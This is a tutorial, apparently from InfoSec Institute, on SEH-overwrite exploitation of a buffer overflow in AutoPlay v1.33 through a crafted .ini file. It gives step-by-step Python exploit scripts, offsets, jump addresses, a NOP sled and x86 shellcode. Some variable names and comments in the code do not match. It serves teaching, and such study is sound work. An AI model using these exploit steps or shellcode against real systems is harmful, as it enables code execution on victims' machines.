Recommended Reading
Before starting any kind of exploiting, if you are not familiar with buffer overflow, assembler, or how the operating system works, I strongly recommend reading the content from the links below.
-
Assembler (Windows – Intel x86)
-
Algorithms – Linked list
-
Buffer overflow
-
SEH – Structured Exception Handler
-
Shellcode
-
Stack and heap memory allocation
-
Virtual address and virtual address space
-
Tools used
- Findjmp – http://dl.dropbox.com/u/12825770/findjmp.zip (I found it on the Internet, it is not my upload)
- Immunity debugger
- Python 2.6 – for coding the exploit
- AutoPlay v1.33 with exploit –http://www.exploit-db.com/exploits/16173/
- Metasploit and its tools
Brief Preview of Buffer Overflow Exploiting
It is a bit controversial to define whose fault it is for the appearance of buffer overflow: is it the developers of the applications, or is it the maker of the programming language? I think there are many factors. At university they still teach us to use functions that are vulnerable to buffer overflow, and also there are a lot of articles on the Internet about programming in C and C++ using functions that might lead to buffer overflow. In C and C++ there are safe functions that prevent buffer overflow, they exist, it is not a hidden knowledge to find them and read why they are safe to use.Why use functions that are not safe?

Buffer overflow is a result of insufficient boundary checks when inserting data to a buffer. If we insert more data than the buffer holds… BOOM, a buffer overflow occurs. It is easy, it is simple, but it is dangerous and the results from it might be severe.

Figure 1. Example of a vulnerable function
Assume that you know how the stack works, how to debug, and that you understand the logic of the memory allocation. We will try to exploit the simple program and see what the results are.

Figure 2. Exploiting a vulnerable function
After inserting characters more than we defined (more than 10), our program has been terminated because of buffer overflow. We can easily exploit it by overwriting the return address, which will help us to execute the instructions we want (shellcode). During the exploiting process the most important thing is to follow the EIP register (Extended Instruction Pointer), because it is pointing to the next instruction that will be executed.
Indications that buffer overflow exists in an application are: application is terminated (DoS –Denial of service), EIP points to the instructions or characters we have entered, and the memory stack is flooded with characters (entered by the user).
Real Life Example of Bypassing SEH (Structure Exception Handler) Protection
Assuming that you know how to exploit buffer overflow, I will explain how to bypass SEH (Structure Exception Handler) protection with a real life example. For the real life example I will use the exploit that I have written about a year ago, which is a good and easy to exploit example, AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH).
How SEH (Structure Exception Handler) Works

Figure 3. Try-catch exception handling
If you are a programmer you probably have used try-catch exceptions for dealing with errors that might occur in your application. So you place the code that might lead to errors or terminate your application in try, and you place an indication for the error and further steps of code execution in catch.
There are two types of exception handling: user-mode and kernel-mode (hardware). User-mode handling works for user defined exception handling, and kernel-mode works and defines its own exception handling for every process that is used by the operating system. An access violation is raised by the hardware or kernel if there is an attempt to use a process to read or write without access on a virtual address.

Figure 4. Architecture of SEH protection http://www.microsoft.com/msj/0197/exception/exception.aspx
From figure 4 you can see that SEH is a linked list which contains: pointer to the next SEH and the address of the exception handler. That pair of pointer and address is called the exception record. So the exception records are connected like a chain, and the end of that chain is the 0xFFFFFFFF, and if the exception handled the crash correctly it should reach the end.
Real Life Example – Exploiting and Bypassing SEH Protection
Currently you are probably bored and confused from the theory, but we will clear things up in this section. Download AutoPlay v1.33 and open it with Immunity Debugger.

Figure 5. Debugging applications with Immunity Debugger
After opening the application you can see in the bottom right corner the view of the stack and its current state, and if you seek through you will find the SEH chain with its end.

Figure 6. SEH chain
If you go View -> SEH chain or press alt-s, you can see the status of the current SEH chain.

Figure 7. SEH chain
So what is our mission? Our mission is to overwrite an existing SEH record, and then redirect the execution of the application so that we can execute our shellcode.
Exploiting AutoPlay v1.33
So as we previously mentioned we need to use EIP as a guide while exploiting our application, because it is the pointer to the next instruction that will be executed. If you open the about dialog of the application you will see that AutoPlay v1.33 is a WYSIWYNG designer used to create AutoRun applications. The vulnerability I found in AutoPlay v1.33 was in the one of attributes of the .ini file.
[General]
Title=A sample of what AutoPlay can do!
Icon=.\autoplay.ico
StartupSound=.\drumroll.wav
ExitSound=.\explode.wav
NumberOfButtons=7
BackgroundBitmap=.\splash.jpg
NumberOfCombos=1
[Button1]
CommandType=1
Command=explorer.exe
FlybySound=.\hoversel.wav
Left=83
Top=13
TextColor=255,0,0
HighlightColor=255,255,0
Caption=Run Windows Explorer
FontSize=24
FontName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA… and etc….
Code 1. Buffer overflow of AutoPlay v1.33 attribute
So for coding our exploit we will use Python and the starting point for our code will be like:
head=(
‘\x5b\x47\x65\x6e\x65\x72\x61\x6c\x5d\x0d\x0a\x54\x69\x74\x6c\x65′
‘\x3d\x41\x20\x73\x61\x6d\x70\x6c\x65\x20\x6f\x66\x20\x77\x68\x61′
‘\x74\x20\x41\x75\x74\x6f\x50\x6c\x61\x79\x20\x63\x61\x6e\x20\x64′
‘\x6f\x21\x0d\x0a\x49\x63\x6f\x6e\x3d\x2e\x5c\x61\x75\x74\x6f\x70′
‘\x6c\x61\x79\x2e\x69\x63\x6f\x0d\x0a\x53\x74\x61\x72\x74\x75\x70′
‘\x53\x6f\x75\x6e\x64\x3d\x2e\x5c\x64\x72\x75\x6d\x72\x6f\x6c\x6c’
‘\x2e\x77\x61\x76\x0d\x0a\x45\x78\x69\x74\x53\x6f\x75\x6e\x64\x3d’
‘\x2e\x5c\x65\x78\x70\x6c\x6f\x64\x65\x2e\x77\x61\x76\x0d\x0a\x4e’
‘\x75\x6d\x62\x65\x72\x4f\x66\x42\x75\x74\x74\x6f\x6e\x73\x3d\x37′
‘\x0d\x0a\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x42\x69\x74\x6d’
‘\x61\x70\x3d\x2e\x5c\x73\x70\x6c\x61\x73\x68\x2e\x6a\x70\x67\x0d’
‘\x0a\x4e\x75\x6d\x62\x65\x72\x4f\x66\x43\x6f\x6d\x62\x6f\x73\x3d’
‘\x31\x0d\x0a\x0d\x0a\x5b\x42\x75\x74\x74\x6f\x6e\x31\x5d\x0d\x0a’
‘\x43\x6f\x6d\x6d\x61\x6e\x64\x54\x79\x70\x65\x3d\x31\x0d\x0a\x43′
‘\x6f\x6d\x6d\x61\x6e\x64\x3d\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e’
‘\x65\x78\x65\x0d\x0a\x46\x6c\x79\x62\x79\x53\x6f\x75\x6e\x64\x3d’
‘\x2e\x5c\x68\x6f\x76\x65\x72\x73\x65\x6c\x2e\x77\x61\x76\x0d\x0a’
‘\x4c\x65\x66\x74\x3d\x38\x33\x0d\x0a\x54\x6f\x70\x3d\x31\x33\x0d’
‘\x0a\x54\x65\x78\x74\x43\x6f\x6c\x6f\x72\x3d\x32\x35\x35\x2c\x30′
‘\x2c\x30\x0d\x0a\x48\x69\x67\x68\x6c\x69\x67\x68\x74\x43\x6f\x6c’
‘\x6f\x72\x3d\x32\x35\x35\x2c\x32\x35\x35\x2c\x30\x0d\x0a\x43\x61′
‘\x70\x74\x69\x6f\x6e\x3d\x52\x75\x6e\x20\x57\x69\x6e\x64\x6f\x77′
‘\x73\x20\x45\x78\x70\x6c\x6f\x72\x65\x72\x0d\x0a\x46\x6f\x6e\x74′
‘\x53\x69\x7a\x65\x3d\x32\x34\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d’
‘\x65\x3d’
)
exploitIT = “\x41″ * 300
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)
Code 2. Structure of exploit in Python
The “head” variable in the Python code in figure 9 is a hex representation of the attributes shown in figure 8 marked with blue color . “junk” is a variable that contains 300 “A” characters marked with red color in figure 8 (“\x41″ is the hex representation of the character “A”). When we execute the Python code, if the execution is successful it will result in “File create”. Open the file AutoPlay.ini with some text editor and you will see that it has the same content as displayed in figure 8. The next step is to open our application with Immunity Debugger and try our created file.

- Create 0day attacks as part of the Advanced Persistent Threat
- 5 days of Intensive Hands-On Labs
- Use fuzzers and dynamic analysis to attack custom and COTS apps
- Reverse engineer binaries to find new vulnerabilities never discovered before
- Attack and defeat VPNs, IDS/IPS and other security technologies
Figure 8. AutoPlay buffer overflow
As you can see from figure 10, not only do we overflow the stack, we make EIP points to “/x41″, and also we overwrite the SEH record by overwriting its value and its pointer with lots of A’s. Our next step is to find the correct size of the buffer needed to get to the address of the SEH record.
For this tutorial I am using Back Track 5 r3, go to “/opt/metasploit/msf3/tools” with “cd”, and there you will see lots of useful tools. For defining our buffer size we will use pattern_create.rb and pattern_offset.rb.

Figure 9. Using pattern_create.rb for making a file with characters used to find the right size of the buffer
Use “ruby pattern_create.rb 300 > SEH.txt” to create a file with generated characters. Use the generated characters from the file and make the following changes to the Python code:
exploitIT = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9″
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)
Code 3. Defining buffer size
So changes were made only to the variable “junk” which contained 300 A’s. Next step is to run the Python code, generate AutoPlay.ini file, and open Immunity Debugger and AutoPlay v1.33. Open the AutoPlay.ini with APStudio.exe through File -> Open and see what will happen.

Figure 10. Using the newly generated file with the generated string for defining the size of the buffer
Opening the new generated file will result with overflowing the buffer with the generated string. In our example we have the 41346441 pointer of the SE handler which we will use it to find the size of the buffer.

Figure 11. Defining buffer size
- Create 0day attacks as part of the Advanced Persistent Threat
- 5 days of Intensive Hands-On Labs
- Use fuzzers and dynamic analysis to attack custom and COTS apps
- Reverse engineer binaries to find new vulnerabilities never discovered before
- Attack and defeat VPNs, IDS/IPS and other security technologies
Now we will change the Python code and see what will happen.
exploitIT = “\x41″ * 128
nseh = “\xcc“ * 4
seh = “\x42″ * 4
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk + nseh + seh)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)
Code 4. Finding SEH record
After modifying the code, see what will happen in Immunity Debugger with the new AutoPlay.ini file.

Figure 12. SEH record takedown
See the result that we have overwritten the SEH address and pointer. If you found it, CONGRATULATIONS!!!!

Now the next thing is to find a way how to make the EIP points to our shellcode using this SEH record.
Final Steps of Bypassing SEH and Executing Shellcode
The last steps of exploiting and bypassing SEH protection is the usage of POP, POP and RET operations. By performing two POP operations we can remove the top entries of the stack, and then with RETURN we can take and execute the memory address and the instructions on that address, that address will be the next SEH that will be placed on EIP for executing. For successful performing we must find a SafeSEH unprotected address with POP, POP and RETURN operations.
As you can see through the tutorial, we lost the EIP pointer where it is executing, but don’t worry, I have a little challenge for you: make the same procedure as defining the number of the characters needed to reach the SEH overwrite (that is the part where we used pattern_create.rb and pattern_offset.rb make the same procedure and find EIP).
So with the following code we have found where EIP has gone, it was in the junk all the time.
junk = “\x42″ * 32
junk1 = “\x41″ * 92
nseh = “\xcc“ * 4
seh = “\x41″ * 4
esp = “\xEF\xBE\xAD\xDE” #i knew that you wouldn’t do the challenge
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk+ esp + junk1 + nseh + seh)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)

Figure 13. Come out, come out, wherever you are
The execution is stuck at DEADBEEF, hmmm…why not try to change the route of execution with pointing directly to the stack to execute its content to see what happens. Using findjmp.exe we can find a jmp in KERNEL32.dll.

Figure 14. Extracting KERNEL32.dll jmp address
Use that address and replace the “esp” value in the code like this:
junk = “\x42″ * 32
junk1 = “\x41″ * 92
nseh = “\xcc“ * 4
seh = “\x41″ * 4
esp = “\x65\x31\xb8\x76″
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk+ esp + junk1 + nseh + seh)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)

Figure 15. This is like Little Red Riding Hood going to meet her grandmother but instead she meets the wolf
Interesting, as you can see EIP is pointing to the SEH record and this is the most important part, we gain control of EIP. Now is the part where the real exploitation and bypassing of SEH takes place.
But I will mention that we need to find POP, POP, RETURN from somewhere that is not SafeSEH protected, but in our application we couldn’t do much because our application did not have any .dll library at all so we couldn’t make it portable to work on a different machine. You can try looking with !search pop r32\npop r32\nret on Immunity Debugger.

Figure 16. Searching for POP, POP, RET.
So after finding an address with POP, POP, RET the code will be modified and will look like this:
junk = “\x42″ * 32
junk1 = “\x41″ * 92
junk3 = “\x41″ * 150
nseh = “\xcc“ * 4
seh = “\x9c\x37\xbc\x74″
esp = “\x65\x31\xb8\x76″
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk+ esp + junk1 + nseh + seh + junk3)
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)

Figure 17. The jumper
The next and last step is to see the where the execution is headed to. By using INT3 breakpoints, that’s “\xCC”, we can stop the execution. As you can see from figure 18 we must jump to our shellcode. We can perform that with “\xeb” instruction for jumping and the range we want to jump for example “\x06″. Add some NOP’s (no operation) instruction to slide the execution to our shellcode, and finally we have the last modification of the code:
#shellcode for x64 Windows 7
shell=(
“\x31\xdb\x64\x8b\x7b\x30\x8b\x7f”
“\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b”
“\x77\x20\x8b\x3f\x80\x7e\x0c\x33″
“\x75\xf2\x89\xc7\x03\x78\x3c\x8b”
“\x57\x78\x01\xc2\x8b\x7a\x20\x01″
“\xc7\x89\xdd\x8b\x34\xaf\x01\xc6″
“\x45\x81\x3e\x43\x72\x65\x61\x75″
“\xf2\x81\x7e\x08\x6f\x63\x65\x73″
“\x75\xe9\x8b\x7a\x24\x01\xc7\x66″
“\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7″
“\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9″
“\xb1\xff\x53\xe2\xfd\x68\x63\x61″
“\x6c\x63\x89\xe2\x52\x52\x53\x53″
“\x53\x53\x53\x53\x52\x53\xff\xd7″
);
head=(
‘\x5b\x47\x65\x6e\x65\x72\x61\x6c\x5d\x0d\x0a\x54\x69\x74\x6c\x65′
‘\x3d\x41\x20\x73\x61\x6d\x70\x6c\x65\x20\x6f\x66\x20\x77\x68\x61′
‘\x74\x20\x41\x75\x74\x6f\x50\x6c\x61\x79\x20\x63\x61\x6e\x20\x64′
‘\x6f\x21\x0d\x0a\x49\x63\x6f\x6e\x3d\x2e\x5c\x61\x75\x74\x6f\x70′
‘\x6c\x61\x79\x2e\x69\x63\x6f\x0d\x0a\x53\x74\x61\x72\x74\x75\x70′
‘\x53\x6f\x75\x6e\x64\x3d\x2e\x5c\x64\x72\x75\x6d\x72\x6f\x6c\x6c’
‘\x2e\x77\x61\x76\x0d\x0a\x45\x78\x69\x74\x53\x6f\x75\x6e\x64\x3d’
‘\x2e\x5c\x65\x78\x70\x6c\x6f\x64\x65\x2e\x77\x61\x76\x0d\x0a\x4e’
‘\x75\x6d\x62\x65\x72\x4f\x66\x42\x75\x74\x74\x6f\x6e\x73\x3d\x37′
‘\x0d\x0a\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x42\x69\x74\x6d’
‘\x61\x70\x3d\x2e\x5c\x73\x70\x6c\x61\x73\x68\x2e\x6a\x70\x67\x0d’
‘\x0a\x4e\x75\x6d\x62\x65\x72\x4f\x66\x43\x6f\x6d\x62\x6f\x73\x3d’
‘\x31\x0d\x0a\x0d\x0a\x5b\x42\x75\x74\x74\x6f\x6e\x31\x5d\x0d\x0a’
‘\x43\x6f\x6d\x6d\x61\x6e\x64\x54\x79\x70\x65\x3d\x31\x0d\x0a\x43′
‘\x6f\x6d\x6d\x61\x6e\x64\x3d\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e’
‘\x65\x78\x65\x0d\x0a\x46\x6c\x79\x62\x79\x53\x6f\x75\x6e\x64\x3d’
‘\x2e\x5c\x68\x6f\x76\x65\x72\x73\x65\x6c\x2e\x77\x61\x76\x0d\x0a’
‘\x4c\x65\x66\x74\x3d\x38\x33\x0d\x0a\x54\x6f\x70\x3d\x31\x33\x0d’
‘\x0a\x54\x65\x78\x74\x43\x6f\x6c\x6f\x72\x3d\x32\x35\x35\x2c\x30′
‘\x2c\x30\x0d\x0a\x48\x69\x67\x68\x6c\x69\x67\x68\x74\x43\x6f\x6c’
‘\x6f\x72\x3d\x32\x35\x35\x2c\x32\x35\x35\x2c\x30\x0d\x0a\x43\x61′
‘\x70\x74\x69\x6f\x6e\x3d\x52\x75\x6e\x20\x57\x69\x6e\x64\x6f\x77′
‘\x73\x20\x45\x78\x70\x6c\x6f\x72\x65\x72\x0d\x0a\x46\x6f\x6e\x74′
‘\x53\x69\x7a\x65\x3d\x32\x34\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d’
‘\x65\x3d’
)
junk = “\x42″ * 32
junk1 = “\x41″ * 92
nseh = “\xeb\x06\x90\x90″
seh = “\x9c\x37\xbc\x74″
esp = “\x65\x31\xb8\x76″
nops = “\x90″ * 25
try:
newFile=open(‘AutoPlay.ini’,‘w’)
newFile.write(head + junk+ esp + junk1 + nseh + seh + nops + shell )
newFile.close()
print(‘File created’)
except:
print(‘File cannot be created’)

Figure 18. Finally
Secure Functions
Use these functions instead of the insecure:
| Don’t use | Use these | |
| sprintf | snprintf or asprintf | |
| strncat | strlcat | |
| gets | fgets | |
| strcat | strlcat | |
| vsprintf | vsnprintf or vasprintf |
|
| strcpy | strlcpy | |
| strncpy | strlcpy | |
Figure 19. Secure functions
References and Useful Links
- http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Finding_a_return_address
- http://www.go4expert.com/forums/showthread.php?t=16473
- https://www.owasp.org/index.php/Testing_for_Stack_Overflow
- http://msdn.microsoft.com/en-us/library/ms679329(v=vs.85).aspx
- http://www.microsoft.com/msj/0197/exception/exception.aspx
- http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
- http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/
- http://www.autosectools.com/Content/all_win_createprocessa_calc.cpp
- https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/BufferOverflows.html











Awesome Tutorial, Dame. Expecting more from you on similar topics!
why don’t you do a PDF file including all this text? please
thank you
Nice topic dude… Waiting for more forensic articles of yours… Best of Luck.. :D
Where is the bypass? ..and since when SEH has become a security feature ?
I hope you have read the article, and yes SEH is a security feature that not only helps the user to prevent his application from falling apart, it also help every application as a kernel protection to have it as a option to protect the process from executing code that is not a part from the application (this is the short explanation that i could do for short time). The PoC of bypassing it is in the last the pictures where as displayed with the jump of assembly instruction “\xEB” to the nop part where it serves as a slider to executing our shellcode. The code and the example that i explained is only for educational purposes and it is not portable to other machines than mine because of the VA (Virtual Address) and VAS (Virtual Address Space). There are also another types of protection for both Windows and Linux that are very challenging and interesting for exploiting like StackGuard, NX, DEP and etc. If you have other question, i hope that i’ll give you the answer you are looking for. :)
And i am sure that you know the thing more clearly than i do :)
[...] have written an article for infosec institute about this. Complete article is available at – http://resources.infosecinstitute.com/bypassing-seh-protection-a-real-life-example/ . Take a look at the web application security course offered by InfoSec Institute. Like [...]